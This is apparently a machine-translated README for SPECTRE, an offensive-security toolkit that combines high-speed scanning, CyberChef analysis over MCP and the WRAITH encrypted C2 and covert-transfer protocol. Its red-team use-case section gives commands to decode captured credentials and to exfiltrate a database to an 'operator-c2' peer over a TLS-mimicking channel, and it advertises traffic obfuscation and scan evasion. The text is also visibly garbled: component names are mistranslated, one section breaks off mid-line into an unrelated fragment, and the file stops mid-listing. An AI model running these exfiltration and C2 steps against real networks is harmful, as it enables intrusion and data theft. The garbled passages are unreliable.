幽灵
S安全 P平台为 E加密 Comms, T测试, E计数, R经济
一个统一的攻击性安全工具包,将线速安全通信、高性能网络侦察和高级数据分析结合到一个具有四种交互模式的内聚作战平台中:CLI、TUI、GUI和MCP服务器。
______________________________________________________________________
概述
幽灵 是一个集成的安全操作平台,将三个经过实战测试的工具整合到一个统一的工作流程中,用于授权安全测试、红队行动和威胁研究。
每个组件都是一个独立的、生产就绪的项目——SPECTRE提供了编排层,将它们绑定到一个有凝聚力的操作平台中,提供的功能远远大于其各部分的总和:
| 组件 | 角色 | 能力 | 版本 | 测试 |
|---|---|---|---|---|
| 书面协议 | 加密通信 | 线速安全文件传输、E2EE消息传递、C2基础设施 | v2.3.7 | 2957 |
| ProRT IP | 枚举与侦察 | 10M+pps网络扫描、服务检测、操作系统指纹识别 | v1.0.0 | 2557 |
| CyberChef MCP | 测试与分析 | 463次数据操作,通过MCP提供人工智能 | v1.9.0 | 689 |
为什么选择SPECTRE?
现代进攻性安全需要无缝的工具集成。SPECTRE消除了上下文切换:
- 发现 ProRT IP高速侦察目标(10M+pps)
- 分析 通过人工智能辅助的工作流程,利用CyberChef的463项操作捕获数据
- 滤液 通过WRAITH的流量混淆信道(10+Gbps)安全传输
- 协调 通过与活动管理的统一协调进行红队行动
- 自动化 具有组件间数据管道的复杂工作流
平台指标
| 度量 | 值 |
|---|---|
| 联合试验 | 7378(光谱:1175+写作:2957+专业IP:2557+网络厨师:689) |
| SPECTRE代码库 | 约45000行Rust+TypeScript(136个Rust文件+60个前端文件) |
| 组件代码 | ~180000(Rust)+~40000(Types/JavaScript) |
| 语言 | Rust 2024、TypeScript、JavaScript |
| 网络吞吐量 | 10+Gbps(写入),10M+pps(ProRT IP) |
| 数据运营 | 463通过CyberChef MCP |
| 接口模式 | CLI(已实现)、TUI(已实施)、GUI(前端基础)、MCP服务器 |
| 平台 | Linux、Windows、macOS、Docker |
______________________________________________________________________
接口模式
SPECTRE提供了四种不同的交互方法,以适应不同的操作环境:
┌────────────────────────────────────────────────────────────────────┐
│ SPECTRE INTERFACE MODES │
├────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │
│ │ CLI │ │ TUI │ │ GUI │ │ MCP Server │ │
│ │ spectre │ │ spectre │ │ spectre │ │ spectre-mcp │ │
│ │ cmd │ │ tui │ │ --gui │ │ │ │
│ ├──────────┤ ├──────────┤ ├──────────┤ ├──────────────────┤ │
│ │ Scripts │ │ Real- │ │ Visual │ │ AI-Assisted │ │
│ │ Pipelines│ │ time │ │ Campaign │ │ Natural Language │ │
│ │ Automated│ │ Dashboard│ │ Planning │ │ Claude/Cursor │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────────┬─────────┘ │
│ │ │ │ │ │
│ └─────────────┴─────────────┴─────────────────┘ │
│ │ │
│ ┌─────────▼─────────┐ │
│ │ SPECTRE Core │ │
│ │ Orchestrator │ │
│ └─────────┬─────────┘ │
│ │ │
│ ┌─────────────────────┼─────────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ProRT-IP │ │CyberChef│ │ WRAITH │ │
│ │ WarScan │ │ MCP │ │Protocol │ │
│ └─────────┘ └─────────┘ └─────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘CLI——命令行界面
用于脚本编写、自动化和CI/CD集成的主要接口。
# Unified command interface with subcommand routing
spectre scan -sS -p 1-1000 192.168.1.0/24 # ProRT-IP scanning
spectre chef "From_Base64,Gunzip" --input data # CyberChef analysis
spectre send file.db --peer c2-server --encrypt # WRAITH transfer
spectre campaign run red-team-op.yaml # Full workflow
# Pipeline support for complex operations
spectre scan --output json 10.0.0.0/24 | \
spectre chef "Extract_URLs,Defang_URL" | \
spectre report --format markdown特征:
- ProRT IP操作的Nmap兼容语法
- 基于食谱的CyberChef工作流程
- 使用JSON/协议缓冲区进行管道组合
- 通过YAML定义活动
- Shell补全(bash、zsh、fish、PowerShell)
TUI——终端用户界面
利用ProRT IP的60 FPS TUI框架的实时操作仪表板。
spectre tui # Launch full TUI dashboard (alias: spectre ui)
spectre scan --tui 192.168.1.0/24 # Scan with live visualization仪表板面板:
┌─────────────────────────────────────────────────────────────────────────────┐
│ SPECTRE v0.1.0 - Operation BLACKOUT [Campaign: red-team-01] │
├────────────────────────────────┬────────────────────────────────────────────┤
│ RECON STATUS │ ANALYSIS PIPELINE │
│ ┌────────────────────────────┐ │ ┌────────────────────────────────────────┐ │
│ │ Targets: 254/254 ████████ │ │ │ Input: banners.txt (2.4 MB) │ │
│ │ Ports: 1000 ████░░░░░ │ │ │ Recipe: [Base64→Gunzip→JSON] │ │
│ │ Services: 47 identified │ │ │ Status: Processing... 67% │ │
│ │ Rate: 45,231 pps │ │ │ Output: decoded_payloads.json │ │
│ └────────────────────────────┘ │ └────────────────────────────────────────┘ │
├────────────────────────────────┼────────────────────────────────────────────┤
│ COMMS STATUS │ CAMPAIGN TIMELINE │
│ ┌────────────────────────────┐ │ ┌────────────────────────────────────────┐ │
│ │ Channel: TLS-mimicry │ │ │ 14:00 ▶ Recon started │ │
│ │ Peer: c2.operator.net │ │ │ 14:15 47 services discovered │ │
│ │ Latency: 23ms │ │ │ 14:22 Analysis complete │ │
│ │ Tx/Rx: 1.2GB / 45MB │ │ │ 14:30 Exfil initiated │ │
│ └────────────────────────────┘ │ └────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────────────────────┤
│ [F1] Help [F2] Scan [F3] Analyze [F4] Comms [F5] Report [q] Quit │
└─────────────────────────────────────────────────────────────────────────────┘特征:
- 60 FPS异步渲染,带交叉项后端和紧急安全终端恢复
- 4面板布局(侦察、分析、通信、战役),具有4种布局模式(网格/宽/高/聚焦)
- 使用速率指标、ETA、可滚动结果浏览器实时扫描进度
- Vim风格的键盘导航(j/k/h/l、g/g、Ctrl+d/u)加上F键面板切换
- 命令模式(
:)有11个命令、历史记录、标签完成 - 5个内置主题(黑暗、光明、战术、矩阵、黑客),具有运行时切换功能
- 帮助覆盖(
?/F1)带有分组键盘快捷键参考
GUI——图形用户界面
用于活动规划和可视化操作的本地桌面应用程序。
# Development mode
cd crates/spectre-gui
./dev.sh # Auto-detects Wayland/X11, applies GPU workarounds
# Production build
cargo build --release -p spectre-gui
./target/release/spectre-gui
# Manual overrides (if auto-detection fails)
./dev.sh --force-x11 # Force X11 backend
./dev.sh --force-wayland # Force Wayland backend
./dev.sh --verbose # Enable debug logging自动显示服务器检测:
GUI会自动检测您的显示服务器(Wayland vs X11)和GPU供应商,然后应用适当的解决方法来实现最佳的WebKitGTK渲染:
- NVIDIA GPU: 在禁用DMABUF渲染器的情况下自动使用X11后端(已知的Wayland兼容性问题)
- 英特尔/AMD GPU: 如果可用,使用本地Wayland,如果需要,则回退到X11
- 手动覆盖: 尊重如果你设置
GDK_BACKEND环境变量
已实现的功能(v0.5.0-稳定版本):
仪表板和实时监控:
- 实时统计,包括严重性图表和服务分布
- 带有相对时间戳和状态图标的活动时间线
- 严重程度图:显示严重/高/中/低/信息分布的交互式饼图(重新开始)
- 服务图表:显示前10个已发现服务的条形图
报告和数据导出:
- 具有搜索功能的可排序、可过滤、分页的结果表
- 5种导出格式:CSV、JSON、XML、HTML(模板)、Markdown(模板)
- 查找包含CVE链接、风险描述、补救建议的详细信息模式
- 使用DOMPurify净化和语法突出显示进行安全预览
活动策划:
- 带有目标解析和阶段时间线的4步向导
- CRUD操作:创建、列表、查看、前进、导出、导入、存档
- 目标列表、阶段时间线、目标输入组件
- SQLite后端的活动状态持久化
扫描可视化:
- 具有强制布局的D3.js网络拓扑
- 与主机/端口/服务节点进行实时事件流式传输
- 扫描进度条、主机卡详细信息、结果表视图
设置管理(8个选项卡):
- 概述:详细程度、颜色输出
- 扫描:定时模板(T0-T5)、端口预设、检测切换
- 分析:CyberChef Docker配置
- 通信:写入协议设置
- 输出:格式选择(表/JSON/YAML/XML/CSV),格式美观
- 主题:5个主题,带实时预览(黑暗、光明、战术、矩阵、黑客)
- 快捷键:完整的键盘参考
- 关于:版本信息、组件版本、技术栈、许可证
分析操作:
- CyberChef集成了4个类别的15个操作
- 实时转换:Base64、十六进制、URL编码/解码
- 类别过滤(编码、散列、加密、压缩)
- 带有错误处理功能的输入/输出面板
安全通信:
- 带有指纹显示的身份管理
- 具有在线/离线状态的对等列表
- 加密数据传输接口
- WRAITH协议集成
安全与性能:
- 使用DOMPurify进行HTML净化,以实现安全的HTML预览
- 为渲染内容提供安全的iframe沙盒
- 仪表板统计数据的30秒自动刷新
- Zustand状态管理支持多扫描
- WCAG 2.1 AA可访问性合规性(ARIA标签、键盘导航、焦点管理)
- 优化的包大小:\)
3. spectre_chef_from_base64(input=)
______________________________________________________________________
## 建筑
### 系统设计
SPECTRE遵循模块化微服务架构,其中每个组件独立运行,但通过定义良好的接口进行通信:
┌───────────────────────────────────────────────────────────────────────────┐ │ SPECTRE PLATFORM │ ├───────────────────────────────────────────────────────────────────────────┤ │ INTERFACE LAYER │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │ │ │ CLI │ │ TUI │ │ GUI │ │ MCP Server │ │ │ │ (clap) │ │(ratatui) │ │ (Tauri) │ │ (stdio) │ │ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────────┬─────────┘ │ │ └─────────────┴─────────────┴─────────────────┘ │ │ │ │ ├──────────────────────────────┼────────────────────────────────────────────┤ │ ORCHESTRATION LAYER ▼ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ SPECTRE CORE │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌────────────┐ │ │ │ │ │ Campaign │ │ Data │ │ Workflow │ │ Config │ │ │ │ │ │ Manager │ │ Router │ │ Engine │ │ Store │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ └────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ├──────────────────────────────┼────────────────────────────────────────────┤ │ COMPONENT LAYER │ │ │ ┌──────────────────────┼──────────────────────┐ │ │ ▼ ▼ ▼ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ ProRT-IP │ │ CyberChef-MCP │ │ WRAITH-Protocol │ │ │ │ WarScan │ │ │ │ │ │ │ ├─────────────────┤ ├─────────────────┤ ├─────────────────┤ │ │ │ • SYN/Connect │ │ • 463 Ops │ │ • E2EE Xfer │ │ │ │ • FIN/NULL/Xmas │ │ • Encoding │ │ • Double Ratchet│ │ │ │ • Idle/Zombie │ │ • Crypto │ │ • Traffic Obfsc │ │ │ │ • UDP w/Probes │ │ • Forensics │ │ • C2 Channel │ │ │ │ • Svc Detection │ │ • Compression │ │ • 12 Clients │ │ │ │ • OS Fingerprnt │ │ • Recipe Mgmt │ │ • RedOps │ │ │ │ • Lua Plugins │ │ • Batch Process │ │ • Post-Quantum │ │ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ Rust Node.js Rust │ │ (lib + CLI) (Docker MCP) (lib + 12 apps) │ │ │ └───────────────────────────────────────────────────────────────────────────┘
### 数据流
┌──────────────┐ ┌───────────────┐ ┌────────────────┐ ┌───────────────┐ │ Target │────▶│ ProRT-IP │────▶│ CyberChef │────▶│ WRAITH │ │ Network │ │ Recon │ │ Analysis │ │ Exfil/C2 │ └──────────────┘ └───────┬───────┘ └───────┬────────┘ └───────┬───────┘ │ │ │ ▼ ▼ ▼ scan.json decoded.txt secure_channel hosts.xml decrypted.bin encrypted_xfer services.db forensic.log covert_comms os_info.json patterns.json c2_traffic
┌─────────────────────────────────────────────────────────────────────────────────┐ │ UNIFIED DATA MODEL │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────────┐ │ │ │ Target │ │ Finding │ │ Artifact │ │ Campaign │ │ │ │ • IP/CIDR │ │ • Port │ │ • File │ │ • State machine │ │ │ │ • Hostname │ │ • Service │ │ • Data │ │ • Phase tracking │ │ │ │ • OS info │ │ • Vuln │ │ • Evidence │ │ • Timeline │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────────────────┘ │ └─────────────────────────────────────────────────────────────────────────────────┘
### 集成层
|层|目的|技术|状态|
| ----------------------- | ------------------------------------------------ | -------------------------------- | --------------- |
| **CLI编排器** |统一命令界面(13个子命令)|Rust(clap 4)| **实现** |
| **核心库** |配置、扫描、通信、分析、编排|Rust(tokio、serde、跟踪)| **实现** |
| **ProRT IP集成**|通过prtip_adapter的真实扫描仪(8种扫描类型)|Rust(prtip核心、prtip扫描仪)| **实现** |
| **写作整合** |通过幽灵适配器(Noise_XX)进行真实的E2EE通信| Rust(幽灵核心,幽灵加密)| **实现** |
| **CyberChef集成**|通过MCP_adapter(JSON-RPC/stdio)实现真正的MCP客户端| Docker、JSON-RPC 2.0、tokio| **实现** |
| **目标管理** |优先级队列、作用域强制、异步DNS|Rust(ipnetwork、tokio)| **实现** |
| **作业编排** |状态机、并发控制、事件|Rust(tokio、广播频道)| **实现** |
| **结果汇总** |结果,JSON/XML/可恢复输出,统计数据|Rust(serde,quick XML)| **实现** |
| **数据管道** |可组合的阶段,构建器API,度量|Rust(async-trait,tokio)| **实现** |
| **活动管理** |SQLite持久性、阶段、工件|Rust(rusqlite、sha2)| **实现** |
| **插件系统** |Lua 5.4沙盒、清单、权限、注册表|Rust(mlua)| **实现** |
| **TUI框架** |实时仪表板(60 FPS,4面板,5主题)|Rust(ratatui 0.30,交叉项)| **实现** |
| **扫描编排** |链接、模板、调度、自适应定时|Rust(tokio、async trait)| **实现** |
| **工作流引擎** |YAML/JSON/TOML DSL,执行器,变量,循环| Rust(serde,tokio)| **实现** |
| **配方管理** |存储、版本控制、搜索、内置库|Rust(serde、toml)| **实现** |
| **报告生成** |HTML和Markdown报告、执行摘要|Rust(模板)| **实现** |
| **专家系统** |CSV、自定义模板、增量导出|Rust(serde)| **实现** |
| **表现层** |LRU缓存、连接池、指标收集|Rust(tokio)| **实现** |
| **GUI应用程序** |Tauri 2.10桌面应用程序,21个IPC命令(脚手架)| **脚手架** |
| **MCP服务器** |人工智能辅助操作| Rust、MCP协议|计划中|
______________________________________________________________________
## 组件
### 书面协议——加密通信
**W**点火速度 **R**优秀 **A.**已验证 **一、**不可见 **T**转移 **H**装卸工
SPECTRE的隐蔽通信骨干,提供具有流量分析阻力的军用级安全文件传输。
|能力|规格|
| ---------------- | ------------------------------------------------------ |
| **吞吐量** |10+Gbps,带AF_XDP内核旁路|
| **加密** |XChaCha20-Poly1305,噪音-XX,双棘轮|
| **混淆** |Elligator2,协议模拟(TLS/Webocket/DoH)|
| **应用程序** |12个客户端(传输、聊天、同步、保险库、RedOps等)|
| **后量子** |混合动力X25519+ML-KEM-768 KEX|
| **测试** |2957通过|
| **代码** |约141000行Rust+约36600行TypeScript|
**主要特点:**
- 通过双棘轮实现完美的前向保密
- 流量分析阻力(Elligator2密钥编码)
- 协议模拟(TLS 1.3、WebSocket、HTTPS上的DNS)
- 红队指挥控制基础设施(书面红色行动),MITRE ATT&CK覆盖率为97.5%
- 12个生产客户端,包括移动端(安卓/iOS)
**光谱积分点:**
- `wraith-core` 加密传输库
- `wraith-ffi` 用于FFI绑定
- 通过WRAITH RedOps团队服务器进行战役协调
**存储库:**
______________________________________________________________________
### ProRT IP战争扫描——计数与侦察
结合Masscan/ZMap速度和Nmap检测深度的高性能网络扫描仪。
|能力|规格|
| -------------- | ----------------------------------------------------------- |
| **吞吐量** |10M+数据包/秒(无状态),72K+pps(已验证)|
| **扫描类型** |SYN、连接、FIN、NULL、圣诞节、ACK、空闲、UDP|
| **检测** |服务检测(85-90%),操作系统指纹识别(2600+信号)|
| **规避** |碎片、TTL、诱饵、定时模板(T0-T5)|
| **IPv6** |跨所有扫描类型的完全双堆栈支持|
| **文本用户界面** |60 FPS制作仪表板,11个小部件|
| **测试** |2557次通过,覆盖率51.40%|
**主要特点:**
- Nmap兼容的CLI语法(`-sS`, `-sV`, `-O`, `-A`)
- Lua 5.4自定义检测插件系统
- PCAPNG数据包捕获
- O(N)连接跟踪(50-1000倍加速)
- NUMA针对多插槽系统进行了优化
**光谱积分点:**
- SPECTRE仪表板的TUI框架重用
- 扫描结果JSON/XML输出到数据管道
- 插件系统可扩展用于SPECTRE工作流
**存储库:** [https://doublegate/ProRT-IP](https://github.com/doublegate/ProRT-IP)
______________________________________________________________________
### CyberChef MCP——测试与分析
MCP服务器将CyberChef的463个操作暴露为用于数据操纵、密码分析和取证分析的AI可调用工具。
|能力|规格|
| -------------------- | --------------------------------------------- |
| **运营** |463个数据操作工具|
| **接口** |模型上下文协议(MCP)、stdio传输|
| **分类** |编码、加密、压缩、取证|
| **部署** |Docker(Chaingguard无发行版,约90MB)|
| **配方管理** |10个工作流保存/重用工具|
| **批处理** |并行执行多达100个操作|
| **测试** |689通过,74.97%覆盖率|
**主要特点:**
- 通过MCP实现AI原生(与Claude、Cursor等兼容)
- 使用CRUD、导入/导出(JSON/YAML/URL)进行配方管理
- 批处理(并行/顺序执行)
- 零CVE链卫士基础映像
- SLSA构建级别3来源
**MCP工具:**
- `cyberchef_bake` --执行完整食谱
- `cyberchef_search` --发现操作
- 463个个人操作工具(`cyberchef_to_base64`, `cyberchef_aes_decrypt`等等)
- 10个配方管理工具
- 5个高级功能工具(批处理、缓存、遥测、配额)
**光谱积分点:**
- 用于AI辅助分析的直接MCP桥
- 通用安全工作流的配方库
- 批量数据操作的批处理
**存储库:** [https://doublegate/CyberChef-MCP](https://github.com/doublegate/CyberChef-MCP)
______________________________________________________________________
## 用例
### 红队行动
1. Reconnaissance: Enumerate target network
spectre scan -sS -sV --top-ports 1000 10.0.0.0/24 -oJ recon.json
2. Analysis: Decode captured credentials
spectre chef --recipe "From_Base64,URL_Decode,Gunzip" --input creds.txt
3. Exfiltration: Secure data extraction via covert channel
spectre send --file sensitive.db --peer operator-c2 --mimicry tls
4. Campaign Orchestration: Full automated workflow
spectre campaign run red-team-op.yaml --target enterprise-network
### 威胁研究
Capture traffic, analyze protocols, identify patterns
spectre scan --capture pcap -p 443 10.0.0.0/24 | \ spectre chef "Extract_URLs,Defang_URL,Unique" | \ spectre report --format json --output indicators.json
TUI mode for live analysis
spectre tui
### 安全审计
Full network assessment with automated analysis
spectre audit \ --targets targets.txt \ --scan-type comprehensive \ --analyze-banners \ --output-dir ./audit-results \ --report-format pdf
### 人工智能辅助操作
In Claude Code or Cursor with SPECTRE MCP enabled:
User: "Find all web servers on 192.168.1.0/24, extract TLS certificates, and identify any with expired or self-signed certs"
Claude: I'll execute this multi-step workflow: 1. spectre_scan_syn(target="192.168.1.0/24", ports="443,8443") 2. spectre_detect_tls_cert(hosts=) 3. spectre_chef_parse_x509(input=) 4. Filter and report findings...
______________________________________________________________________
## 快速开始
### 先决条件
- **锈蚀1.92+** (适用于书面、ProRT IP、光谱)
- **Node.js 22+** (适用于CyberChef MCP)
- **码头工人** (建议用于CyberChef MCP部署)
- **Linux内核6.2+** (建议用于AF_XDP/io_uring性能)
- **数据包捕获函数库** (Linux/macOS)或 **Npcap** (Windows)用于原始数据包访问
### 安装
#### 预构建二进制文件(推荐给最终用户)
从以下网址下载适用于您平台的最新版本 :
**Linux:**
- `spectre-gui-linux.AppImage` (自给自足,无需安装)
- `spectre-gui-linux.deb` (Debian/Ubuntu)
- `spectre-gui-linux.rpm` (Fedora/RHEL/CentOS)
**macOS:**
- `spectre-gui-macos-x86_64.dmg` (英特尔Mac电脑)
- `spectre-gui-macos-aarch64.dmg` (苹果硅M1/M2/M3)
**窗户:**
- `spectre-gui-windows.msi` (Windows安装程序)
- `spectre-gui-windows.exe` (Nullsoft安装程序)
**平台要求:**
看 [平台要求](crates/spectre-gui/PLATFORM-REQUIREMENTS.md) 了解详细的系统依赖关系。
#### 持续集成和交付
SPECTRE使用GitHub Actions进行全面的跨平台CI/CD:
**多平台构建:**
- Linux x86_64(ubuntu-22.04)
- macOS英特尔x86_64(macOS-15-Intel)
- macOS苹果硅ARM64(macOS-14)
- Windows x86_64(Windows 2022)
**自动安装程序:**
- Linux:AppImage、.deb、.rpm
- macOS:.dmg(英特尔和苹果硅)
- Windows:.msi、.exe(NSIS)
**测试:**
- 在所有平台上进行1175次测试
- 前端类型检查和测试(117次测试)
- Rust工作空间测试(1058个测试)
- 用于本地验证的平台特定测试脚本
**工作流程:**
- `.github/workflows/ci.yml` -主CI,包括格式、lint、测试、审计
- `.github/workflows/gui.yml` -具有4平台矩阵的GUI特定构建
- `.github/workflows/release.yml` -自动生成安装程序
看 [CI/CD文档](.github/workflows/README.md) 有关工作流的详细信息。
#### 从源头构建
**克隆光谱和子模块:**
git clone --recursive https://github.com/doublegate/SPECTRE.git cd SPECTRE
**或者初始化现有克隆中的子模块:**
git submodule update --init --recursive
**构建所有Rust组件:**
Build SPECTRE CLI and integrated components
cargo build --release --workspace
Grant network capabilities (instead of root)
sudo setcap cap_net_raw,cap_net_admin=eip target/release/spectre
**设置CyberChef MCP:**
Pull pre-built container (recommended)
docker pull doublegate/cyberchef-mcp:latest
Or build from source
cd components/cyberchef-mcp docker build -f Dockerfile.mcp -t cyberchef-mcp .
**验证安装:**
spectre --version spectre status # Check all component health spectre self-test # Run integration tests
### 基本用法
CLI: Quick port scan
spectre scan -sS -p 80,443,8080 192.168.1.0/24
CLI: Analyze data with CyberChef
spectre chef "From_Base64" --input encoded.txt
CLI: Secure file transfer
spectre send document.pdf --peer --encrypt
TUI: Launch dashboard
spectre tui
GUI: Development mode (auto-detects Wayland/X11)
cd crates/spectre-gui ./dev.sh
GUI: Production build
cargo build --release -p spectre-gui ./target/release/spectre-gui
MCP: Start server for AI integration
spectre-mcp serve
### GUI开发快速入门
GUI需要前端和后端开发服务器:
Terminal 1: Start frontend dev server
cd crates/spectre-gui/frontend pnpm install pnpm dev
Terminal 2: Start Tauri (auto-detects display server and GPU)
cd crates/spectre-gui ./dev.sh
**手动显示服务器覆盖:**
./dev.sh --force-x11 # Force X11 backend (NVIDIA GPUs) ./dev.sh --force-wayland # Force Wayland backend ./dev.sh --verbose # Enable debug logging
______________________________________________________________________
## 发展路线图
### 发布代号
SPECTRE版本遵循一个操作代号惯例:
|版本|代号|焦点|接口里程碑|
| ------- | ----------------------- | ------------------------------------------------- | ------------------- |
|v0.1.0| **停电操作** |基础——CLI骨架、组件集成|CLI MVP|
|v0.2.0版本| **夜间行动** |数据管道,扫描到分析自动化|CLI+数据管道|
|v0.3.0| **幻影行动** |活动编排、多目标协调|TUI MVP|
|v0.4.0| **操作规范** |高级功能、工作流程、报告|高级引擎|
|v0.5.0| **SHADOW行动** |视觉营销策划、协作|GUI MVP|
|v1.0.0| **基因操作** |生产发布——全平台功能|所有4个接口|
### 第一阶段:基础——停电行动(完成)
- \[x\] 带子命令路由的SPECTRE CLI框架(13个命令,Nmap兼容标志)
- \[x\] 组件版本检测和健康检查(`spectre status`)
- \[x\] 统一配置管理(具有文件发现和env-var支持的TOML)
- \[x\] 带跟踪的结构化日志记录(RUST_LOG,文件输出,JSON格式)
- \[x\] ProRT IP扫描接口(扫描器特性、端口/目标解析、8种扫描类型)-- **通过prtip_adapter实现真正的ProRT IP集成(v0.4.4)**
- \[x\] 书面通信接口(身份管理、对等管理、发送/接收)-- **通过WRAITH_adapter实现真正的WRAITH集成(v0.4.5)**
- \[x\] CyberChef MCP桥(Docker容器管理、配方执行)-- **通过MCP_adapter(v0.4.6)实现真正的MCP客户端**
- \[x\] Shell完成生成(bash、zsh、fish、PowerShell)
- \[x\] 86个单元测试通过,零个尖锐警告
### 第二阶段:核心编排——夜间行动(完成)
- \[x\] 具有优先级队列、作用域强制、CIDR扩展、异步DNS解析的目标管理
- \[x\] 具有状态机的作业编排(已创建->排队->运行->暂停->完成/失败/取消)、并发控制、事件广播
- \[x\] 使用Finding模型进行结果聚合、JSON/XML/可恢复输出、主机/服务分组、统计
- \[x\] 具有可组合阶段的数据管道(扫描->分析->过滤器->输出)、生成器API、执行度量
- \[x\] 使用SQLite持久性的活动管理、阶段状态机、使用SHA-256哈希的工件存储
- \[x\] Lua 5.4插件系统,具有沙盒执行、清单驱动加载、权限模型、资源限制
- \[x\] 3个新的CLI命令: `campaign` (7个子命令), `pipeline` (3个子命令), `plugin` (3个子命令)
- \[x\] 270个单元测试通过,零个剪贴警告
### 第三阶段:TUI仪表板——操作PHANTOM(完成)
- \[x\] TUI框架,带异步事件循环,60 FPS渲染,紧急安全终端恢复
- \[x\] 4面板布局(侦察、分析、通信、战役),具有网格/宽/高/聚焦模式
- \[x\] 实时扫描显示,带有进度条、速率指标、预计到达时间计算
- \[x\] 带有可滚动主机/端口表、过滤和排序的结果浏览器
- \[x\] 具有11个命令的命令输入系统,历史导航,标签完成
- \[x\] Vim风格的键盘快捷键,带F键面板切换,帮助叠加
- \[x\] 5个内置主题(黑暗、光明、战术、矩阵、黑客),具有运行时切换功能
- \[x\] 235个单元测试通过,零个剪贴警告
### 第4阶段:高级功能——操作SPECTER(完整)
- \[x\] 高级扫描编排:链接、条件执行、模板、调度、配置文件、自适应定时、检查点/恢复
- \[x\] 工作流自动化:YAML/JSON/TOML DSL、解析器、带变量的异步执行器、条件语句、循环、重试逻辑
- \[x\] 配方管理:基于文件的存储、导入/导出、版本控制、搜索、验证、内置库
- \[x\] 报告生成:HTML和Markdown生成器、执行摘要、风险评分、严重性细分
- \[x\] 导出格式:CSV导出器(结果/主机/结果)、自定义模板引擎、增量导出跟踪
- \[x\] 性能优化:LRU缓存、带异步互斥的连接池、性能指标(定时+计数器)
- \[x\] 高级插件系统:具有依赖解析的注册表、事件挂钩(10个生命周期事件)、模板脚手架(5种类型)
- \[x\] 6个测试套件中的45个集成测试,351个新单元测试
### 第5阶段:可视化界面——SHADOW操作(进行中)
- \[x\] Tauri 2.10桌面应用程序支架,采用React 19+TypeScript+Vite 6前端
- \[x\] 21个IPC命令处理程序(2个完全有线: `get_version`, `get_status`;19根短截线)
- \[x\] AppState与 `RwLock`,由Tauri管理 `.manage()`
- \[x\] 扫描进度/结果/完成/错误流的事件有效载荷类型
- \[x\] Tauri插件:外壳、窗口状态、商店
- \[x\] 37次测试(32个锈蚀单元+5个前端vitest)
- \[\]React Router+顺风CSS+shadcn/ui+Zustand状态管理
- \[\]活动策划工作区
- \[\]网络拓扑可视化(D3.js)
- \[\]带有图表的结果仪表板(Recharts)
- \[\]设置、分析和通信页面
- \[\]跨平台测试和安装程序
### 未来的增强功能
- \[\]自动漏洞关联
- \[\]与外部威胁情报源集成
- \[\]Kubernetes部署(Helm chart)
- \[\]分布式扫描协调器
______________________________________________________________________
## 项目结构
SPECTRE/ ├── Cargo.toml # Workspace manifest ├── Cargo.lock # Dependency lock file ├── .gitmodules # Git submodule definitions ├── README.md # This file ├── CHANGELOG.md # Version history ├── CLAUDE.md # AI assistant guidance ├── CONTRIBUTING.md # Contribution guidelines ├── SECURITY.md # Security policy ├── LICENSE # License file ├── rustfmt.toml # Rust formatting config ├── clippy.toml # Rust linting config ├── .editorconfig # Editor standards │ ├── components/ # Git submodules (standalone component repos) │ ├── wraith-protocol/ # WRAITH-Protocol (v2.3.7) - Secure communications │ ├── prtip/ # ProRT-IP WarScan (v1.0.0) - Network reconnaissance │ └── cyberchef-mcp/ # CyberChef-MCP (v1.9.0) - Data analysis │ ├── crates/ │ ├── spectre-cli/ # Unified CLI orchestrator (18 files, 44 tests) │ │ │ # Depends on spectre-core, spectre-tui │ │ ├── Cargo.toml │ │ └── src/ │ │ ├── main.rs # Entry point, CLI parsing │ │ ├── commands/ # 13 subcommand implementations │ │ │ ├── scan.rs # Network scanning (ProRT-IP) │ │ │ ├── chef.rs # Data analysis (CyberChef-MCP) │ │ │ ├── send.rs # Secure send (WRAITH) │ │ │ ├── receive.rs # Secure receive (WRAITH) │ │ │ ├── identity.rs # Identity management │ │ │ ├── peer.rs # Peer management │ │ │ ├── status.rs # Component health checks │ │ │ ├── config.rs # Configuration management │ │ │ ├── completions.rs # Shell completion generation │ │ │ ├── campaign.rs # Campaign management (7 subcommands) │ │ │ ├── pipeline.rs # Data pipeline execution (3 subcommands) │ │ │ ├── plugin.rs # Plugin management (3 subcommands) │ │ │ └── tui.rs # TUI dashboard launcher │ │ └── output/ # Output formatting │ │ ├── table.rs # Table output (comfy-table) │ │ └── json.rs # JSON output (serde_json) │ ├── spectre-core/ # Core orchestration library (84 files, 618 unit + 45 integration tests) │ │ ├── Cargo.toml │ │ ├── src/ │ │ │ ├── lib.rs # Library root (18 public modules) │ │ │ ├── error.rs # Error types (SpectreError, 20+ variants) │ │ │ ├── logging.rs # Tracing setup │ │ │ ├── config/ # Configuration system │ │ │ ├── scan/ # Scanning interface (8 scan types, ProRT-IP adapter) │ │ │ ├── chef/ # CyberChef integration (MCP adapter, Docker, stub) │ │ │ ├── comms/ # WRAITH integration (identity, peers, wraith_adapter) │ │ │ ├── target/ # Target management (priority queue, scope) │ │ │ ├── job/ # Job orchestration (state machine, events) │ │ │ ├── results/ # Results aggregation (JSON/XML/grep output) │ │ │ ├── pipeline/ # Data pipeline (composable stages) │ │ │ ├── campaign/ # Campaign management (SQLite persistence) │ │ │ ├── plugin/ # Plugin system (Lua sandbox, registry, hooks, templates) │ │ │ │ ├── mod.rs # Plugin loading, discovery │ │ │ │ ├── sandbox.rs # Lua 5.4 sandbox (mlua) │ │ │ │ ├── api.rs # spectre.* Lua API │ │ │ │ ├── manifest.rs # plugin.toml manifest, permissions │ │ │ │ ├── registry.rs # Plugin registry, dependency resolution │ │ │ │ ├── hooks.rs # Event hooks (10 lifecycle events) │ │ │ │ └── template.rs # Plugin scaffolding (5 types) │ │ │ ├── 